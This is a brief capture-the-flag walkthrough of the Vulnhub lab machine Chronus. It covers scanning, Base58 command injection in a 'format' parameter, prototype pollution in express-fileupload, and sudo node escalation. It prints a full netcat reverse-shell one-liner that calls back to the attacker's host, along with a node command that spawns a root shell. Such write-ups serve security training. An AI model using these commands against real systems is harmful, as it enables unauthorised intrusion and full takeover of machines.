Walkthrough: Chronus

Chronus is an easy/medium Vulnhub machine. It features significant bugs such as Remote Command Execution (RCE) and a privilege escalation path via Node.js.

Reconnaissance

First, we find the target IP on the network:

netdiscover

Target IP identified: 192.168.1.174

Nmap Scan

nmap -A 192.168.1.174
Note: The web source code reveals a hostname. Add it to your /etc/hosts file:
192.168.1.174 chronos.local

Exploitation: Command Injection

The site on port 8000 passes a Base58 encoded string to a "format" parameter. Decoding the string 4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL reveals it calls the system date command.

We can inject a Netcat reverse shell payload. Encode the following command into Base58 and send it via the "format" parameter:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc [Your_IP] 1234 >/tmp/f

Start your listener:

nc -lvp 1234

Privilege Escalation: User to Root

Inside /opt/chronos-v2/backend, the package.json reveals a vulnerable version of express-fileupload (1.1.7). This is vulnerable to Prototype Pollution.

We use a Python exploit (poc.py) to trigger RCE. Once we have a shell as user imera, we check sudo permissions:

sudo -l

Imera can run node and npm as root. We use the GTFOBins method to spawn a root shell:

sudo node -e 'child_process.spawn("/bin/sh", {stdio: [0, 1, 2]})'
Root Flag: Found in /root/root.txt